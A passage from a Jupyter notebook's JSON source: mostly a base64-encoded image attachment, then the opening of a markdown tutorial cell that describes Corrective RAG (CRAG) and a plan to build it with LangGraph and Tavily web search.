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ECBAgQIECAAAECBPpYIIZcO+2001LMQVadX2zfffft4yt3aQQIECBAgEAvBf7/ANK9PIOyCRAgQIAAAQIECBAgQIAAAQIEaiXwyiuvpEceeSSbzyXmdbnjjjvS+PHjs3niqhXdZZdd0pgxY6rZ1gkQIECAAAECbQkIRLXFZCcCBAgQIECAAAECBAgQIECAQP8InH766WncuHFDXtCaa66Z9tprryH3swMBAgQIECBAoJWAoflaycgnQIAAAQIECBAgQIAAAQIECPSpwIwzzjjkle22227puOOOS1NO6T3mIbHsQIAAAQIECLQU8F8SLWlsIECAAAECBAgQIECAAAECBAj0p8AMM8zQ9MIiQPWNb3wjbb755mmRRRZpuo9MAgQIECBAgEAnAgJRnWjZlwABAgQIECBAgAABAgQIEKi1wD777JNef/31gTous8wyA8sWJgjMNddcaezYsWn06NHp85//fPrCF76QFlpoobTAAgukaaaZZsKOlggQIECAAAECIxSY4qOP0wjLcDgBAgQIECBAgAABAgQIECBAgAABAgQIECBAgACBBgFzRDWQyCBAgAABAgQIECBAgAABAgQIECBAgAABAgQIEOiGgEBUNxSVQYAAAQIECBAgQIAAAQIECBAgQIAAAQIECBAg0CAgENVAIoMAAQIECBAgQIAAAQIECBAgQIAAAQIECBAgQKAbAgJR3VBUBgECBAgQIECAAAECBAgQIECAAAECBAgQIECAQIOAQFQDiQwCBAgQIECAAAECBAgQIDBB4J133kmvvvpqev/99ydkWpqoAm+99VZ64403Juo5nYwAgeELaDeHb9etI9977730+uuvp48++qhbRSqHAAECwxaY4uPGSGs0bD4HEiBAgAABAgQIECBAgEA/CUSw6fbbb0+XXXZZ+sMf/pCeffbZ9Pe//z27xMsvvzwtuuii/XS5k821LL744gP3Yf75509LLrlkWm+99dKqq66app9++snmOlSUQD8KaDfreVd33333dPHFF2eVm3POOdPCCy+c1l577bTmmmum2WefvZ6VVisCBPpWQCCqb2+tCyNAgAABAgQIECBAgACBTgTGjx+f9tlnn/T44483PeyOO+5Io0aNarpNZm8FVlxxxSwoWD3LjDPOmA444IC02WabpU99yqAvVR/rBHotoN3stfDwy4/fs7PPPrtpATvvvHPaY489BPKb6sgkQKAXAv4rrReqyiRAgAABAgQIECBAgACByUbgww8/TAceeGDacsstWwah4mJmnXXWyeaaulnRc889N0UgKP/37W9/u5vFt1XW3HPP3XS/6K229957p6233trQfU2FZBLojYB2c3DXOrSbc801V8tKHnvssWns2LHp4YcfbrmPDQQIEOimwJTdLExZBAgQIECAAAECBAgQIEBgchM45JBD0kknndS02tHjZrHFFsuG5GvV4+a6665LL7zwQun4FVZYIc0777ylvOLKDTfckJ577rmBrBgqqa6BrjfffLPUG2m66aYbqPfEWthggw3SNNNMkz00jeESq+nmm29OO+ywQzrllFPSpKhftT7WCfS7gHZz8Dtch3ZzzJgxWbDpySefTA899FBDhaMt3WKLLdIFF1yQ5plnnobtMggQINBNAYGobmoqiwABAgQIECBAgAABAgQmK4HTTjstnXjiiQ11jt4/Mb9GfE455eD/1zmOv/HGG0tlxFBxP/vZz0p5xZVTTz01XX311QNZl156aW0DUQOVnIQL0Qsr74l13333pf/5n/9J0eOgmGKIsB/+8IfpyCOPLGZbJkCgywLazS6D9qi4lVdeOcW/SM8880w677zz0uGHH1462//93/+lbbbZJl1xxRWC+CUZKwQIdFvA0HzdFlUeAQIECBAgQIAAAQIECEwWAs8//3zaf//9G+oa82qceeaZ6atf/eqQQaiGg/+R8Zvf/Ca99NJLrTbLH4HA4osvnj1MPeGEExpKiTf7b7nlloZ8GQQIdEdAu9kdx4ldyujRo7OXK6666qqG3k8xL+Lxxx8/savkfAQIfMIEBKI+YTfc5RIgQIAAAQIECBAgQIDA/xcYN25cA8Uuu+ySdt111/TpT3+6YVunGeeff36nh9i/A4G11lorHXPMMQ1H7LfffumDDz5oyJdBgMDIBbSbIzeclCUstNBCKXrkxrCzxXTEEUekp556qphlmQABAl0VEIjqKqfCCBAgQIAAAQIECBAgQGByEHjllVcahnabf/75095779216sfwVR9++GHXylNQo8B6662XNt1009KGRx99NN12222lPCsECIxcQLs5csM6lDDffPOlAw44oKEqMXSfRIAAgV4JCET1Sla5BAgQIECAAAECBAgQIFBbgcsvv7yhbttvv3361Ke693+TY7gjw8Q1MHc9Y9ttt20o88ILL2zIk0GAwMgEtJsj86vT0RtuuGFDr6izzjorffTRR3WqproQINBHAt37L+w+QnEpBAgQIECAAAECBAgQINDfAhdddFHDBX79619vyBtpxhlnnDHSIpoe/95776Xo+RMTzXcrvfzyy+nBBx/sapl53d59992svi+++GKe1bXPZZddNi2xxBKl8uKB6vvvv1/Ks0KAwMgEtJuNfr1sN6NH7ZNPPpkNmdft3rXTTTdd2mabbUoX9Oyzz6Z77rmnlGeFAAEC3RKYslsFKYcAAQIECBAgQIAAAQIECEwOAjF/0M0331yq6nbbbZdmmmmmUt5wV2Lujb///e/Z4Zdcckl6/vnn0xxzzDHc4gaO+9Of/pTOPPPMdPfdd6c///nPA/mf+9zn0tJLL52+8pWvpOjVNeWU7f9f/Ztuuimdc845KcqOHlx5ijK/853vZOXleZ1+3nDDDSkeXN93332l+obPUkstlVZeeeX03e9+N0099dSdFt2wf9R1zz33LOX/9a9/TQsssEApzwoBAsMT0G5OcOtluxkvGJxyyilZu3n77bdPOOnHS9HOL7PMMmm33XZLs88+e2nbcFa22mqrhnn2or2O9lkiQIBAtwX0iOq2qPIIECBAgAABAgQIECBAoNYC8YZ5NcUwRd1KEQwqpnPPPbe4mi138nZ77HvCCSekjTfeOJ199tmloE4UFr2irr322nTwwQdn8yU1u76GCnycEWVuvfXWWbCoGITKyzzssMPSXnvt1fFQTW+//XY66KCDsrftf/Ob3zTUN4J0EQgcN25cijmeikG1ZvVsJ2/ttddu2O2BBx5oyJNBgMDwBJq1K9rNCcH7UI22eLjtZhwfLwWsvvrq6dRTT03VIFRsv+uuu7Jtsc+ll14aWSNK88wzT1puueVKZdx///2ldSsECBDoloBAVLcklUOAAAECBAgQIECAAAECk4VAswDFnHPO2bW6r7POOqW5N04++eQRDRO3yy67ZEGmdioYDyrj/EMNr3TggQe2VWb06LrxxhvbOXW2zxtvvJE22WSTdOKJJ7Z1zEMPPZTVN97CH0mafvrpS+ZRVjcCXCOpk2MJ9JOAdjOlXrWb8T3ZZ5990t57793WVyaC+d/73vfSr371q7b2H2ynueeeu7T53nvvLa1bIUCAQLcEBKK6JakcAgQIECBAgAABAgQIEJgsBJrNqzRq1Kiu1T2Gmtthhx0GyovzxTB1w0nXXXdduuyyy5oeuuCCCzYEX2LHeEgZvaNapcceeyyddNJJDZsjGLfppptmPa+i7DxdffXV+eKQnxF0axYAiqH+xowZkw0t1ayQwerbbP9mefPOO28p+4UXXiitWyFAYPgC2s3etZu33npr1tu1endiGNNoN6PXUixX03/+53+mV199tZrd0Xr1JYyYJ0oiQIBALwQEonqhqkwCBAgQIECAAAECBAgQqK1APn9TXsF4wDfNNNPkq1353HzzzUvlDOfN9RiSLx40VlPM6xHBnggQxdvrv/71rxseUo4fP75l8KtZb6WYY+mWW25JP//5z9NRRx2VlX300Uc3lFutS3E9HlQffvjhxawUAagYZurOO+9M5513Xrr44ouzOa422GCD0n4xVF8E3UaSRo8eXTq8ep9LG60QINCRQPXvSbuZsnn0RtpufvTRR+nQQw9tuBf7779/1lZGu3nBBRdkw/JVe0zFPTnmmGMaju0kozp/4euvv97J4fYlQIBA2wICUW1T2ZEAAQIECBAgQIAAAQIE+kGg+qCt2pOmG9f4xS9+MY0dO3agqJjDqdkcKwM7NFm45pprGnoXRY+leGgZQ9FFmmKKKdJKK63U9G36CCpV09/+9rd0+umnl7LXX3/9FA89o6xi2mijjdIhhxxSzBp0OeacqqZ4gLraaquVsj/zmc+kX/7ylw35MT/KSFL1zf7XXnttJMU5lgCBgoB2szft5vXXX58F6gvU6b/+67+yINenP/3pgewpp5wy7bbbbmnfffcdyIuF4bzkUCygGoiK4FYncxgWy7JMgACBwQQEogbTsY0AAQIECBAgQIAAAQIE+k7gzTffLF3T7LPPXlrv1so222xTKqrTQEuzeZNiXpBqwChOssQSS5QCX5EXvZA++OCDWBxIzeZ52W677Qa2Vxc23HDDNP/881ezm67fcccdpfx4e3+eeeYp5RVXqm/3P/roo8XNHS9H76tiivmqJAIEuiOg3Sw7dqvdjHn9immVVVZJ0e62Sttvv33W0zTfHoGjl19+OV/t+LPabkYBb7/9dsflOIAAAQJDCQhEDSVkOwECBAgQIECAAAECBAj0lcBUU01Vup7qkFOljSNYWXXVVUsPDGP+pHfffbftEh9//PHSvksvvXRaaKGFSnnFlS233LK4mi1X50mqzv8RvYi+/OUvNxyXZ8Qb+csss0y+OujnI488Utq+7rrrltarK4svvngpK4YbjGGqhpuqD8pjri6JAIHuCGg3Jzh2s9184oknJhT88VJ12NLSxo9XpptuurT88suXsp9++unSeicr1XYzjtV2diJoXwIE2hWYst0d7UeAAAECBAgQIECAAAECBPpBoDrpe6dD5rVrEEMp7bDDDmncuHHZIRHwuuqqq1IMhddO+utf/1ra7Utf+lJpvbrSrPdRPKAsDln3zDPPlA6bb775mvawKu7UrNzi9lh+6623UswRVUz33HNPatarq7hPdfnFF19Ms802WzW7rfVqkG3mmWdu6zg7ESAwtIB2c4JRt9rNKLHaE/Spp57K5tKbcLbGpYcffriUGb9h0St2OOn5559vOCx+uyQCBAh0W0DL0m1R5REgQIAAAQIECBAgQIBArQWqAYoIYMScGJ/6VPcHDdl8880HAlGBctppp7UdiHrwwQdLjp///OdL69WVUaNGVbNSPNQcM2bMQH71zfnRo0cPbGu1MMsss7TaNJBfLTc27LHHHgPb21149dVXuxaIqj44b7cO9iNAoFFAuznBpFvtZpRYbeePPvroCSdqc+mVV15pc8/G3aq9ZpsN1dd4lBwCBAh0LtD9/8ruvA6OIECAAAECBAgQIECAAAECE01gpplmajjXSObYaCiskBETwRd7QI0fPz5Vh7Ar7D7oYnHi+mY7NgukVeeIqs6b1K1J6UcypF7xWqaddtriakfL1Z5t1QfnHRVmZwIESgLazQkc3Wo3J5Q4sqWRtJvPPfdc6eSf+cxnSutWCBAg0C0BgahuSSqHAAECBAgQIECAAAECBCYLgXnnnbehnn/7298a8rqVsfXWW5eKOuuss0rrrVaq9Ww2hFLx2OrQeLFtrrnmKu5SGqYvNlQDU6WdO1iZe+65O9i79a4x/8lwUjwYrg7NN9RQhsM5j2MIfFIFqu1ROGg3R/5tWGSRRUZcyPTTTz/sMqrDtS666KLDLsuBBAgQGEzA0HyD6dhGgAABAgQIECBAgAABAn0nsNBCCzVc091335268UCwoeCPM1ZaaaUU8yw9/vjj2eYIRC222GLNdi3lxYPfe++9dyCvOqn9wIZ/LFQfKEZ2dQip6nr1bfhqme2uxxv5xWuM44477ri05pprtltEtt9w5yZ54IEHGs7jgWoDiQwCwxbQbk6g61a7GSXG787tt98+UPj222+ffvzjHw+st7MwVG/ZVmW8++67pXPHfu38NrUqTz4BAgQGE9AjajAd2wgQIECAAAECBAgQIECg7wRmmGGGLGhSvLBTTz21uNrV5Rgyb9tttx0o8+9//3u69dZbB9ZbLURgp5hiWL9mwaZ8n4suuihfHPicc845B5ZjodpD6q677krNelIVD4r6tpMWXHDB0m4RcIvAUif/SgV0sHLmmWc27N3swXnDTjIIEGhLQLs5gamb7eb8888/oeCPl84999z0zjvvdNRuTjHFFKUy2l256qqrUrV9F8BvV89+BAh0KiAQ1amY/QkQIECAAAECBAgQIEBgshf42te+VrqG6Hn0xz/+sZTXzZVNN9204+KaBVJOO+20puVEgOr8888vbYvA0FRTTVXK+8IXvlBaj5XzzjuvIa+YceeddxZXWy4vvfTSpW3XXXddOuKII0p5vVh5/fXXU9Ul6mKuk15oK/OTLKDdnHD3u9VuLr744hMK/XgpAkM77bRTFowqbejByimnnNJQ6pgxYxryZBAgQKAbAgJR3VBUBgECBAgQIECAAAECBAhMVgIbbLBBQ33POOOMhrxuZcw666xps80266i49dZbr2FOp2OOOSadeOKJpXKefPLJ9I1vfKOUFyu77757Q14Mu1QNGB1yyCEpgkbV9NFHH6Xo1XT11VdXNzVd32GHHdLnPve50rZf/OIXae+9906PPPJIKb+bKxdeeGFDcZ1aNxQggwCBBgHt5gSSbrWbK664YlprrbUmFPzx0o033pi++c1vpptvvjlFO9yL9Je//KWhZ+76668vgN8LbGUSIJAJTPFxg9abFg0wAQIECBAgQIAAAQIECBCoqUD8X+F//ud/Hpi3Ka/m73//+1QdKinf1urzW9/6VvbgMN8ewx016810xx13pFY9oy699NJUfTM+yrvgggvSnnvumRc98BnD9i288MLptddeSzFkXzVFb6grrrgiNZs75JprrkkRNKqmeMi8zDLLpJjv6YUXXki/+93v0qOPPlrdLfMJp2apVdmxb7xpH7YxPGAMVxh1j55cf/7zn9NMM82ULr744mZFDpoXvQciYJfPv5XvHNajRo3KV30SINAFAe1mb9rNZ599NkVAqlmKNnPJJZfM2s3pp58+vfHGG+nFF19MDz74YIohAmN+w+H0/owXFapt7gknnNAQFGtWJ3kECBAYjsCUwznIMQQIECBAgAABAgQIECBAYHIWiDk1oqfObrvtVrqM7bbbLns499nPfraU342V5ZdfPkWA6KGHHmq7uA033DDrARVDBxZTBF6qwZfi9pjsvlkQKvYZO3ZsWmKJJVK1zAg8xb9qarZvdZ98fY011siCbdVhAmP77bffnv3L961+xkPuTuY6ef/999Mee+zR4LDjjjsKQlVxrRPogoB2szftZszlN27cuOw3qXqb4mWAZi8E5Ps99dRTHQeijj322IYgVLTz0X5LBAgQ6JWAofl6JatcAgQIECBAgAABAgQIEKi1QPQAqr6FHsGdjTbaKHvTvBeV33777Tsqdsopp8wmr99iiy3aOi6GxovJ7ldbbbWW+8fD5DPPPDMLSLXc6R8bYuL6H/7wh0PtVtoe80IdffTRDcP0lXZqshJv+bebogfB1ltv3TBs4Iwzzpi+//3vt1uM/QgQ6FBAuzl2SLHhtJvRxv/2t79tGDp1qJM98cQTQ+0ysP2tt95KBxxwQDr00EMH8vKFgw8+uOXLC/k+PgkQIDASAYGokeg5lgABAgQIECBAgAABAgQmW4EIyBx22GEpghfFlAejomfNJZdckg0d9/LLLxd3KS3HcEntpujh1CxNN910zbKzvCg/3pY/6qijWj6kjDfqN9988ywws8IKK7QsK98QQznFXFPRKyyG+WuW1lxzzXTyySd3PFRhuEYw74Ybbsh6nMWb9kOluAeDGcdwVDHPVMxltc8++2QBxGZDEkYAbOaZZx7qdLYTIDBMAe1mb9rNuB1LLbVUNhzrT3/602wo0+pvU7Nb9vrrrzfLzvLefffdFIGq2267LR1++OFp5ZVXTqecckrD/rvuumtadtllG/JlECBAoJsC5ojqpqayCBAgQIAAAQIECBAgQGCyE7jvvvtSvI0e8w21SvFAMParQ4oh6SJYFr2Cpplmmmw+quHMEVK8lpivKSavf/vtt9MMM8yQvvjFL6bZZpst2+WDDz7IzhcBsfxf9NTqJH344YfZvFNR73grP64h5qKKIRBjzqhZZpll0OIiKHjllVcOuk8E6jbeeONB97GRAIHuCGg3UzbPXS/bzbhTEaCPdjPa6Gifo92MOfVGjx6dtdEx316rFEGn6AE1WIo5DqM3VAQYJQIECPRSQCCql7rKJkCAAAECBAgQIECAAIHJQiAeJu61114N8yYVK//AAw9kDwGLeZYnjsA666yT9UxrdrYYjjB6jJnfpJmOPAK9E9Bu9s62GyX/5Cc/Sccdd1zLomLY1Qjyt5pPsOWBNhAgQGAYAq3D5sMozCEECBAgQIAAAQIECBAgQGByFFhkkUXSRRddlA466KC04IILNr2EF154oWm+zN4LPPnkkw0niQDULrvskq6//npBqAYdGQR6L6Dd7L3xSM7w9NNPNz180003zYY53XnnnQWhmgrJJECgFwJ6RPVCVZkECBAgQIAAAQIECBAgMFkLPPzww+mOO+7IhpOLAFQMJ/dv//ZvadSoUZP1dU2uld9///2z4fxmn332bDiqRRddNC2zzDIeok6uN1S9+1JAu1mv23raaaele+65J0XQPtrOeeedN6200kppsDkJ63UFakOAQD8JCET10910LQQIECBAgAABAgQIECBAgAABAgQIECBAgACBGgkYmq9GN0NVCBAgQIAAAQIECBAgQIAAAQIECBAgQIAAAQL9JCAQ1U9307UQIECAAAECBAgQIECAAAECBAgQIECAAAECBGokIBBVo5uhKgQIECBAgAABAgQIECBAgAABAgQIECBAgACBfhIQiOqnu+laCBAgQIAAAQIECBAgQIAAAQIECBAgQIAAAQI1EhCIqtHNUBUCBAgQIECAAAECBAgQIECAAAECBAgQIECAQD8JCET10910LQQIECBAgAABAgQIECBAgAABAgQIECBAgACBGgkIRNXoZqgKAQIECBAgQIAAAQIECBAgQIAAAQIECBAgQKCfBASi+uluuhYCBAgQIECAAAECBAgQIECAAAECBAgQIECAQI0EBKJqdDNUhQABAgQIECBAgAABAgQIECBAgAABAgQIECDQTwICUf10N10LAQIECBAgQIAAAQIECBAgQIAAAQIECBAgQKBGAgJRNboZqkKAAAECBAgQIECAAAECBAgQIECAAAECBAgQ6CcBgah+upuuhQABAgQIECBAgAABAgQIECBAgAABAgQIECBQIwGBqBrdDFUhQIAAAQIECBAgQIAAAQIECBAgQIAAAQIECPSTgEBUP91N10KAAAECBAgQIECAAAECBAgQIECAAAECBAgQqJGAQFSNboaqECBAgAABAgQIECBAgAABAgQIECBAgAABAgT6SUAgqp/upmshQIAAAQIECBAgQIAAAQIECBAgQIAAAQIECNRIQCCqRjdDVQgQIECAAAECBAgQIECAAAECBAgQIECAAAEC/SQgENVPd9O1ECBAgAABAgQIECBAgAABAgQIECBAgAABAgRqJCAQVaOboSoECBAgQIAAAQIECBAgQIAAAQIECBAgQIAAgX4SEIjqp7vpWggQIECAAAECBAgQIECAAAECBAgQIECAAAECNRIQiKrRzVAVAgQIECBAgAABAgQIECBAgAABAgQIECBAgEA/CQhE9dPddC0ECBAgQIAAAQIECBAgQIAAAQIECBAgQIAAgRoJCETV6GaoCgECBAgQIECAAAECBAgQIECAAAECBAgQIECgnwQEovrpbroWAgQIECBAgAABAgQIECBAgAABAgQIECBAgECNBASianQzVIUAAQIECBAgQIAAAQIECBAgQIAAAQIECBAg0E8CAlH9dDddCwECBAgQIECAAAECBAgQIECAAAECBAgQIECgRgICUTW6GapCgAABAgQIECBAgAABAgQIECBAgAABAgQIEOgnAYGofrqbroUAAQIECBAgQIAAAQIECBAgQIAAAQIECBAgUCMBgaga3QxVIUCAAAECBAgQIECAAAECBAgQIECAAAECBAj0k4BAVD/dTddCgAABAgQIECBAgAABAgQIECBAgAABAgQIEKiRgEBUjW6GqhAgQIAAAQIECBAgQIAAAQIECBAgQIAAAQIE+klAIKqf7qZrIUCAAAECBAgQIECAAAECBAgQIECAAAECBAjUSEAgqkY3Q1UIECBAgAABAgQIECBAgAABAgQIECBAgAABAv0kIBDVT3fTtRAgQIAAAQIECBAgQIAAAQIECBAgQIAAAQIEaiQgEFWjm6EqBAgQIECAAAECBAgQIECAAAECBAgQIECAAIF+EhCI6qe76VoIECBAgAABAgQIECBAgAABAgQIECBAgAABAjUSEIiq0c1QFQIECBAgQIAAAQIECBAgQIAAAQIECBAgQIBAPwkIRPXT3XQtBAgQIECAAAECBAgQIECAAAECBAgQIECAAIEaCQhE1ehmqAoBAgQIECBAgAABAgQIECBAgAABAgQIECBAoJ8EBKL66W66FgIECBAgQIAAAQIECBAgQIAAAQIECBAgQIBAjQQEomp0M1SFAAECBAgQIECAAAECBAgQIECAAAECBAgQINBPAgJR/XQ3XQsBAgQIECBAgAABAgQIECBAgAABAgQIECBAoEYCAlE1uhmqQoAAAQIECBAgQIAAAQIECBAgQIAAAQIECBDoJwGBqH66m66FAAECBAgQIECAAAECBAgQIECAAAECBAgQIFAjAYGoGt0MVSFAgAABAgQIECBAgAABAgQIECBAgAABAgQI9JOAQFQ/3U3XQoAAAQIECBAgQIAAAQIECBAgQIAAAQIECBCokYBAVI1uhqoQIECAAAECBAgQIECAAAECBAgQIECAAAECBPpJQCCqn+6mayFAgAABAgQIECBAgAABAgQIECBAgAABAgQI1EhAIKpGN0NVCBAgQIAAAQIECBAgQIAAAQIECBAgQIAAAQL9JCAQ1U9307UQIECAAAECBAgQIECAAAECBAgQIECAAAECBGokIBBVo5uhKgQIECBAgAABAgQIECBAgAABAgQIECBAgACBfhIQiOqnu+laCBAgQIAAAQIECBAgQIAAAQIECBAgQIAAAQI1EhCIqtHNUBUCBAgQIECAAAECBAgQIECAAAECBAgQIECAQD8JCET10910LQQIECBAgAABAgQIECBAgAABAgQIECBAgACBGgkIRNXoZqgKAQIECBAgQIAAAQIECBAgQIAAAQIECBAgQKCfBASi+uluuhYCBAgQIECAAAECBAgQIECAAAECBAgQIECAQI0EBKJqdDNUhQABAgQIECBAgAABAgQIECBAgAABAgQIECDQTwICUf10N10LAQIECBAgQIAAAQIECBAgQIAAAQIECBAgQKBGAgJRNboZqkKAAAECBAgQIECAAAECBAgQIECAAAECBAgQ6CcBgah+upuuhQABAgQIECBAgAABAgQIECBAgAABAgQIECBQIwGBqBrdDFUhQIAAAQIECBAgQIAAAQIECBAgQIAAAQIECPSTgEBUP91N10KAAAECBAgQIECAAAECBAgQIECAAAECBAgQqJGAQFSNboaqECBAgAABAgQIECBAgAABAgQIECBAgAABAgT6SUAgqp/upmshQIAAAQIECBAgQIAAAQIECBAgQIAAAQIECNRIQCCqRjdDVQgQIECAAAECBAgQIECAAAECBAgQIECAAAEC/SQgENVPd9O1ECBAgAABAgQIECBAgAABAgQIECBAgAABAgRqJCAQVaOboSoECBAgQIAAAQIECBAgQIAAAQIECBAgQIAAgX4SEIjqp7vpWggQIECAAAECBAgQIECAAAECBAgQIECAAAECNRIQiKrRzVAVAgQIECBAgAABAgQIECBAgAABAgQIECBAgEA/CQhE9dPddC0ECBAgQIAAAQIECBAgQIAAAQIECBAgQIAAgRoJCETV6GaoCgECBAgQIECAAAECBAgQIECAAAECBAgQIECgnwQEovrpbroWAgQIECBAgAABAgQIECBAgAABAgQIECBAgECNBASianQzVIUAAQIECBAgQIAAAQIECBAgQIAAAQIECBAg0E8CAlH9dDddCwECBAgQIECAAAECBAgQIECAAAECBAgQIECgRgICUTW6GapCgAABAgQIECBAgAABAgQIECBAgAABAgQIEOgnAYGofrqbroUAAQIECBAgQIAAAQIECBAgQIAAAQIECBAgUCMBgaga3QxVIUCAAAECBAgQIECAAAECBAgQIECAAAECBAj0k4BAVD/dTddCgAABAgQIECBAgAABAgQIECBAgAABAgQIEKiRgEBUjW6GqhAgQIAAAQIECBAgQIAAAQIECBAgQIAAAQIE+klAIKqf7qZrIUCAAAECBAgQIECAAAECBAgQIECAAAECBAjUSEAgqkY3Q1UIECBAgAABAgQIECBAgAABAgQIECBAgAABAv0kIBDVT3fTtRAgQIAAAQIECBAgQIAAAQIECBAgQIAAAQIEaiQgEFWjm6EqBAgQIECAAAECBAgQIECAAAECBAgQIECAAIF+EhCI6qe76VoIECBAgAABAgQIECBAgAABAgQIECBAgAABAjUSEIiq0c1QFQIECBAgQIAAAQIECBAgQIAAAQIECBAgQIBAPwkIRPXT3XQtBAgQIECAAAECBAgQIECAAAECBAgQIECAAIEaCQhE1ehmqAoBAgQIECBAgAABAgQIECBAgAABAgQIECBAoJ8EBKL66W66FgIECBAgQIAAAQIECBAgQIAAAQIECBAgQIBAjQQEomp0M1SFAAECBAgQIECAAAECBAgQIECAAAECBAgQINBPAgJR/XQ3XQsBAgQIECBAgAABAgQIECBAgAABAgQIECBAoEYCAlE1uhmqQoAAAQIECBAgQIAAAQIECBAgQIAAAQIECBDoJwGBqH66m66FAAECBAgQIECAAAECBAgQIECAAAECBAgQIFAjAYGoGt0MVSFAgAABAgQIECBAgAABAgQIECBAgAABAgQI9JOAQFQ/3U3XQoAAAQIECBAgQIAAAQIECBAgQIAAAQIECBCokYBAVI1uhqoQIECAAAECBAgQIECAAAECBAgQIECAAAECBPpJQCCqn+6mayFAgAABAgQIECBAgAABAgQIECBAgAABAgQI1EhAIKpGN0NVCBAgQIAAAQIECBAgQIAAAQIECBAgQIAAAQL9JCAQ1U9307UQIECAAAECBAgQIECAAAECBAgQIECAAAECBGokIBBVo5uhKgQIECBAgAABAgQIECBAgAABAgQIECBAgACBfhIQiOqnu+laCBAgQIAAAQIECBAgQIAAAQIECBAgQIAAAQI1EhCIqtHNUBUCBAgQIECAAAECBAgQIECAAAECBAgQIECAQD8JCET10910LQQIECBAgAABAgQIECBAgAABAgQIECBAgACBGgn8PwtU7bM/rCRbAAAAAElFTkSuQmCC" + } + }, + "cell_type": "markdown", + "id": "8889a307-fa3f-4d38-9127-d41e4686ae47", + "metadata": {}, + "source": [ + "# Corrective RAG (CRAG)\n", + "\n", + "Corrective-RAG (CRAG) is a strategy for RAG that incorporates self-reflection / self-grading on retrieved documents. \n", + "\n", + "In the paper [here](https://arxiv.org/pdf/2401.15884.pdf), a few steps are taken:\n", + "\n", + "* If at least one document exceeds the threshold for relevance, then it proceeds to generation\n", + "* Before generation, it performs knowledge refinement\n", + "* This partitions the document into \"knowledge strips\"\n", + "* It grades each strip, and filters our irrelevant ones\n", + "* If all documents fall below the relevance threshold or if the grader is unsure, then the framework seeks an additional datasource\n", + "* It will use web search to supplement retrieval\n", + " \n", + "We will implement some of these ideas from scratch using [LangGraph](https://langchain-ai.github.io/langgraph/):\n", + "\n", + "* Let's skip the knowledge refinement phase as a first pass. This can be added back as a node, if desired. \n", + "* If *any* documents are irrelevant, let's opt to supplement retrieval with web search. \n", + "* We'll use [Tavily Search](https://python.langchain.com/v0.2/docs/integrations/tools/tavily_search/) for web search.\n", + "* Let's 